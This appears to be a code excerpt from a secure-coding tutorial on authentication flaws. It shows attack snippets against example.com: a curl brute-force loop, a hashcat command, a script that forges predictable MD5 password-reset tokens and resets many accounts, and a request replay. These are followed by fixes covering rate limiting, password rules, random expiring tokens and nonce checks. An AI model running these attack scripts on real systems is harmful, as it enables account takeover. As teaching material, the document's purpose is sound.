# Top 10,000 common passwords against each user
for password in $(cat wordlist.txt); do
for user in $(cat userlist.txt); do
curl -X POST http://example.com/login \
-d "username=$user&password=$password" \
-s | grep -q "Invalid" || echo "Found: $user:$password"
done
done
# Or use hashcat
hashcat -m 11500 hashes.txt wordlist.txt
# Cracks passwords at billions per second on GPU
Allowed passwords:
- 123456 (6 digits)
- password (8 chars, all lowercase)
- letmein
- admin123
- qwerty
No requirements for:
- Mixed case
- Numbers
- Special characters
- Length >= 12
# Attacker uses top 1000 most common passwords
# Successfully cracks 30-50% of accounts
# Example: "password" used by 0.5% of users
# If system has 100,000 users, 500 accounts compromised
def generate_reset_token(user_id):
# WEAK - Token based on user_id and current date
import hashlib
import datetime
seed = f"{user_id}_{datetime.date.today()}"
return hashlib.md5(seed.encode()).hexdigest()
# Calculate token for any user
for user_id in {1..1000}; do
token=$(echo -n "${user_id}_2024-01-15" | md5sum | cut -d' ' -f1)
# Try password reset
curl -X POST http://example.com/reset-password \
-d "user_id=$user_id&token=$token&new_password=hacked"
# If successful, account compromised
done
User logs in with: username=admin&password=SuperSecret123
Attacker captures request
Later, replays exact same request
Server accepts it (no nonce, no timestamp validation)
Attacker logged in as admin
# Attacker intercepts login request with Burp
# Sees: username=admin&password=SuperSecret123
# Later, replays same request
curl -X POST http://example.com/login \
-d "username=admin&password=SuperSecret123"
# Works again! Credentials still valid
from flask_limiter import Limiter
limiter = Limiter(
app,
key_func=lambda: request.remote_addr,
default_limits=["200 per day", "50 per hour"]
)
@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute") # 5 attempts per minute per IP
def login():
# ... login logic ...
import re
def validate_password(password):
if len(password) < 12:
return False, "Password must be 12+ characters"
if not re.search(r'[A-Z]', password):
return False, "Must contain uppercase"
if not re.search(r'[0-9]', password):
return False, "Must contain numbers"
if not re.search(r'[!@#$%^&*]', password):
return False, "Must contain special characters"
return True, "Password valid"
def request_password_reset(email):
user = User.query.filter_by(email=email).first()
# Generate cryptographically random token
import secrets
token = secrets.token_urlsafe(32)
# Store hashed token (not plaintext!)
user.reset_token_hash = hashlib.sha256(token.encode()).hexdigest()
user.reset_token_expires = datetime.now() + timedelta(minutes=15)
db.commit()
# Send token via email (not visible to anyone else)
send_email(email, f"https://example.com/reset?token={token}")
def reset_password(token, new_password):
# Hash token
token_hash = hashlib.sha256(token.encode()).hexdigest()
user = User.query.filter_by(reset_token_hash=token_hash).first()
if not user:
return False, "Invalid token"
if datetime.now() > user.reset_token_expires:
return False, "Token expired"
# Reset password
user.password = hash_password(new_password)
user.reset_token_hash = None # Invalidate token
db.commit()
return True, "Password reset successfully"
@app.route('/login', methods=['POST'])
def login():
nonce = request.form['nonce']
timestamp = request.form['timestamp']
# Check nonce hasn't been used
if nonce in used_nonces:
return "Nonce reuse detected", 403
# Check timestamp is recent (within 5 minutes)
if abs(datetime.now().timestamp() - float(timestamp)) > 300:
return "Request expired", 403
# Add nonce to used set
used_nonces.add(nonce)
# Continue with login...